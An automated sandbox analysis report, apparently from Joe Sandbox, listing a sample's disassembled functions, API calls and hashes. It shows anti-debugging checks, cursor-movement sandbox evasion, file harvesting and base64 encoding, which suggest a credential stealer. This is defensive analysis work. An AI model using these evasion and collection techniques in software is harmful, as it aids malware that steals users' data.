Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: K11_$Slotlstrcat$AuthenticateBinaryCryptDecryptFreeInternalString_memmove_memsetlstrlen
String ID:
API String ID: 4058207798-0
Opcode ID: c6ed9109bfacb0fd5d4fff44d0ee5b72c7cf1cfa32c50ebbec82d2efede3bd7c
Instruction ID: f26f4882e420fc4ccc248d85663e2acbd3fb2a907a3a765cf6f23a4b2ab14579
Opcode Fuzzy Hash: c6ed9109bfacb0fd5d4fff44d0ee5b72c7cf1cfa32c50ebbec82d2efede3bd7c
Instruction Fuzzy Hash: DF316DB2D0421AAFDB10DF54DD849FAB7BCAF08345F5040BAF409E2240E7794E858F66

Function 0040B93F Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 319fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,\*.*,00436826,?,?,?), ref: 0040B99B
StrCmpCA.SHLWAPI(?,0043743C), ref: 0040B9BC
StrCmpCA.SHLWAPI(?,00437440), ref: 0040B9D6

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

CopyFileA.KERNEL32(?,?,00000001), ref: 0040BE0B

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

DeleteFileA.KERNEL32(?), ref: 0040BE82

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00416FA7: CreateThread.KERNEL32(00000000,00000000,00416ED6,?,00000000,00000000), ref: 00417046
Part of subcall function 00416FA7: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 0041704E

FindNextFileA.KERNEL32(?,?), ref: 0040BEF1
FindClose.KERNEL32(?), ref: 0040BF05

Strings

\*.*, xrefs: 0040B965

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$lstrcpy$Find$CloseCreatelstrcat$AllocCopyDeleteFirstHandleLocalNextObjectReadSingleSizeSystemThreadTimeWaitlstrlen
String ID: \*.*
API String ID: 2055012574-1173974218
Opcode ID: 942fd7e65550acf21277a91a5ee52214ae783f4726b1089d71da767fd9f56367
Instruction ID: 53a79bfc0dab0fc6023200b4e1e1ec652a5b9d3d115480c62788c8db81696fe3
Opcode Fuzzy Hash: 942fd7e65550acf21277a91a5ee52214ae783f4726b1089d71da767fd9f56367
Instruction Fuzzy Hash: 41E1DA7194012D9BCF21FB26DD4AACDB375AF44309F4100E6A508B71A1DB79AFC98F98

Function 6CBF2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CBF2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CBF2C61

Part of subcall function 6CBA4DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CBA4E5A
Part of subcall function 6CBA4DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CBA4E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CBF2C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6CBF2E2D

Part of subcall function 6CBB81B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6CBB81DE

Strings

(root), xrefs: 6CBF354F
expected a Time entry, xrefs: 6CBF2E36
ProfileBuffer parse error: %s, xrefs: 6CBF2E3B

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 816a79764e000a081ec31f5372c240814a42b853c1638d2e74558562b1beb1ff
Instruction ID: 836c20e719cc6a327d97b6e8ba1f47a2c00518da466bd795ba5f5bd0627ea539
Opcode Fuzzy Hash: 816a79764e000a081ec31f5372c240814a42b853c1638d2e74558562b1beb1ff
Instruction Fuzzy Hash: E691BE746087C08FC724CF24C49469EB7E1EF89358F504A1DE9AA9BB50EB30D94ACB53

Function 0040180D Relevance: 12.1, APIs: 8, Instructions: 68sleepthreadCOMMON

Download Yara Rule

APIs

OpenInputDesktop.USER32(00000000,00000001,80000000), ref: 00401823
SetThreadDesktop.USER32(00000000), ref: 0040182A
GetCursorPos.USER32(?), ref: 0040183A
Sleep.KERNEL32(000003E8), ref: 0040184A
GetCursorPos.USER32(?), ref: 00401859
Sleep.KERNEL32(00002710), ref: 0040186B
Sleep.KERNEL32(000003E8), ref: 00401870
GetCursorPos.USER32(?), ref: 0040187F

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CursorSleep$Desktop$InputOpenThread
String ID:
API String ID: 3283940658-0
Opcode ID: f5ba76f92f65e2804661e56e76115090119226def0e33c1286c40128a66e7fa7
Instruction ID: 6ce610161f310883e20b46de56f80fe1d7998de54b5bc585690095a2dc5f2f67
Opcode Fuzzy Hash: f5ba76f92f65e2804661e56e76115090119226def0e33c1286c40128a66e7fa7
Instruction Fuzzy Hash: C9112E32E00209EBEB10EBA4CD89AAF77B9AF44301F644877D501B21A0D7789B41CB58

Function 0042B1EC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,?,00000002,?,?,0042B855,?,00428606,?,000000BC,?), ref: 0042B22B
GetLocaleInfoW.KERNEL32(?,20001004,?,00000002,?,?,0042B855,?,00428606,?,000000BC,?), ref: 0042B254
GetACP.KERNEL32(?,?,0042B855,?,00428606,?,000000BC,?), ref: 0042B268

Strings

OCP, xrefs: 0042B20C
ACP, xrefs: 0042B1FB

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: dabdef429acf28403b0f87105750c87aa7dd444468e3f7da184b66417ca4622f
Instruction ID: 1d8a24c55ad27a2629b7a766668cf871eddc3622aa3f9d7e0ae662acd3c2ea88
Opcode Fuzzy Hash: dabdef429acf28403b0f87105750c87aa7dd444468e3f7da184b66417ca4622f
Instruction Fuzzy Hash: F101D831701716FAEB219B51FC4AF5F73A8DB45368F60009AF001E0581D778DA4192AD

Function 00408048 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32($g@,00000000,00000001,00000000,?,00000000,00000000), ref: 00408060
LocalAlloc.KERNEL32(00000040,?,?,?,00406724,?), ref: 0040806E
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,?,00000000,00000000), ref: 00408084
LocalFree.KERNEL32(?,?,?,00406724,?), ref: 00408093

Strings

$g@, xrefs: 00408056

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID: $g@
API String ID: 4291131564-2623900638
Opcode ID: f5a436fcc5773d8d5ed11b28535eb6837d4cdf9298db33a455cb593baf526e2b
Instruction ID: e9494377cad346e2cb6e0c3413faafdb083af89deffb74abb579b147fff80950
Opcode Fuzzy Hash: f5a436fcc5773d8d5ed11b28535eb6837d4cdf9298db33a455cb593baf526e2b
Instruction Fuzzy Hash: 7EF03C70101334BBDF315F26DC4CE8B7FA9EF06BA1F100456F949E6250E7724A40DAA1

Function 0041D12A Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0041D562
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0041D577
UnhandledExceptionFilter.KERNEL32(0043332C), ref: 0041D582
GetCurrentProcess.KERNEL32(C0000409), ref: 0041D59E
TerminateProcess.KERNEL32(00000000), ref: 0041D5A5

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 81b757bedadb6aa414f3cbb5558a59dfea264c2a9b68c96a8667cab582a7df29
Instruction ID: 4bba9ff048c9058af47a45dce311be71d9a10e9393078c90d81800ef8cb4dbee
Opcode Fuzzy Hash: 81b757bedadb6aa414f3cbb5558a59dfea264c2a9b68c96a8667cab582a7df29
Instruction Fuzzy Hash: B621CDB4C01701DFD724DFA4F949A443BB4BF08316F10916AF41887262E7B4D9818F5E

Function 6CC1545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CC18A4B

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: eb9e9abf209ae8b99c835480a96c823e65148848f8a2dfb14569376ceb94c742
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 18B1F972E0421A8FDB14CF69CC90BA9B7B2FF85314F1502A9D549DBB81E7309985DB90

Function 6CC1542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CC188F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CC1925C

Memory Dump Source

Source File: 00000003.00000002.2215664902.000000006CBA1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBA0000, based on PE: true

Associated: 00000003.00000002.2215641140.000000006CBA0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215872054.000000006CC1D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215910000.000000006CC2E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.2215929799.000000006CC32000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6cba0000_MSBuild.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 631040dd3aa53fd7c70d162e1d571023a1e8bbcb2ef08111b4da126d18f14bbc
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: 38B1E672E0810ACBCB14CF59C880AADB7B2EF85314F150279C549DBB85E730A999DB90

Function 00411E5D Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(?,?,40000001,00000000,?,00000000,0065E908,?,?,?,004128A1,?,?,00000000), ref: 00411E7D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,004128A1,?,?,00000000), ref: 00411E8A
HeapAlloc.KERNEL32(00000000,?,?,?,004128A1,?,?,00000000), ref: 00411E91

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocBinaryCryptProcessString
String ID:
API String ID: 1871034439-0
Opcode ID: 7facb7d2e02b845f17d999935560398eb304add6040a2be0650dedebad670ad1
Instruction ID: cc1f0cdc7ec9addca40c1236ae1a006933468a7893b1c2cc3d15f31d1535d567
Opcode Fuzzy Hash: 7facb7d2e02b845f17d999935560398eb304add6040a2be0650dedebad670ad1
Instruction Fuzzy Hash: 3F010C70500309BFDF158FA1DC849AB7BBAFF493A5B248459F90593220E7369E91EA24

Function 0040145B Relevance: 3.0, APIs: 2, Instructions: 22nativeCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000007,00000000,00000004,00000000), ref: 0040146D
NtQueryInformationProcess.NTDLL(00000000), ref: 00401474

Memory Dump Source

Source File: 00000003.00000002.2174458155.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2174458155.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2174458155.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Process$CurrentInformationQuery
String ID:
API String ID: 3953534283-0
Opcode ID: 4ad97b2d1b6fe464e896af9ca2ec5f1d337a2bfbe60684343260282f6ee0994e
Instruction ID: b0d32a7bd978dbc9842abeebd7712166406d741a383243a14520f93e3bb00ea5
Opcode Fuzzy Hash: 4ad97b2d1b6fe464e896af9ca2ec5f1d337a2bfbe60684343260282f6ee0994e
Instruction Fuzzy Hash: 23E01271640304F7EF109BA0DD0AF5F72AC9700749F201175A606E60E0D6B8DA009A69

Function 0040DCA0 Relevance: 90.4, APIs: 60, Instructions: 399memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040DB7F: lstrlenA.KERNEL32(?,75AA5460,?,00000000), ref: 0040DBBB
Part of subcall function 0040DB7F: strchr.MSVCRT ref: 0040DBCD

GetProcessHeap.KERNEL32(00000008,?,75AA5460,?,00000000), ref: 0040DD04
HeapAlloc.KERNEL32(00000000), ref: 0040DD0B
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DD20
HeapFree.KERNEL32(00000000), ref: 0040DD27
strcpy_s.MSVCRT ref: 0040DD43
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DD55
HeapFree.KERNEL32(00000000), ref: 0040DD62
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040DD93
HeapFree.KERNEL32(00000000), ref: 0040DD9A
GetProcessHeap.KERNEL32(00000008,?), ref: 0040DDA1
HeapAlloc.KERNEL32(00000000), ref: 0040DDA8
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DDBD
HeapFree.KERNEL32(00000000), ref: 0040DDC4
strcpy_s.MSVCRT ref: 0040DDDA
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DDEC
HeapFree.KERNEL32(00000000), ref: 0040DDF3
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040DE11
HeapFree.KERNEL32(00000000), ref: 0040DE18
GetProcessHeap.KERNEL32(00000008,?), ref: 0040DE1F
HeapAlloc.KERNEL32(00000000), ref: 0040DE26
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DE3B
HeapFree.KERNEL32(00000000), ref: 0040DE42
strcpy_s.MSVCRT ref: 0040DE52
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DE64
HeapFree.KERNEL32(00000000), ref: 0040DE6B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040DE93
HeapFree.KERNEL32(00000000), ref: 0040DE9A
GetProcessHeap.KERNEL32(00000008,?), ref: 0040DEA1
HeapAlloc.KERNEL32(00000000), ref: 0040DEA8
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DEC3
HeapFree.KERNEL32(00000000), ref: 0040DECA
strcpy_s.MSVCRT ref: 0040DEDD
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DEEF
HeapFree.KERNEL32(00000000), ref: 0040DEF6
lstrlenA.KERNEL32(00000000), ref: 0040DEFF
GetProcessHeap.KERNEL32(00000008,00000000), ref: 0040DF15
HeapAlloc.KERNEL32(00000000), ref: 0040DF1C
lstrlenA.KERNEL32(00000000), ref: 0040DF34

Part of subcall function 0040F128: std::_Xinvalid_argument.LIBCPMT ref: 0040F13E

strcpy_s.MSVCRT ref: 0040DF75
GetProcessHeap.KERNEL32(00000000,?,00000001,00000001), ref: 0040DF9B
HeapFree.KERNEL32(00000000), ref: 0040DFA8
lstrlenA.KERNEL32(?), ref: 0040DFAD
GetProcessHeap.KERNEL32(00000008,00000001), ref: 0040DFBC
HeapAlloc.KERNEL32(00000000), ref: 0040DFC3
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DFD7
HeapFree.KERNEL32(00000000), ref: 0040DFDE
strcpy_s.MSVCRT ref: 0040DFEC
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DFF9
HeapFree.KERNEL32(00000000), ref: 0040E000
GetProcessHeap.KERNEL32(00000000,?), ref: 0040E035
HeapFree.KERNEL32(00000000), ref: 0040E03C
GetProcessHeap.KERNEL32(00000008,?), ref: 0040E043
HeapAlloc.KERNEL32(00000000), ref: 0040E04A
strcpy_s.MSVCRT ref: 0040E065
GetProcessHeap.KERNEL32(00000000,?), ref: 0040E077
HeapFree.KERNEL32(00000000), ref: 0040E07E
GetProcessHeap.KERNEL32(00000000,?), ref: 0040E122
HeapFree.KERNEL32(00000000), ref: 0040E129
GetProcessHeap.KERNEL32(00000000,?), ref: 0040E173
HeapFree.KERNEL32(00000000), ref: 0040E17A

Part of subcall function 0040DB7F: strchr.MSVCRT ref: 0040DBF2
Part of subcall function 0040DB7F: lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040DCF7), ref: 0040DC14
Part of subcall function 0040DB7F: GetProcessHeap.KERNEL32(00000008,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040DC21
Part of subcall function 0040DB7F: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040DCF7), ref: 0040DC28
Part of subcall function 0040DB7F: strcpy_s.MSVCRT ref: 0040DC6F

Memory Dump Source

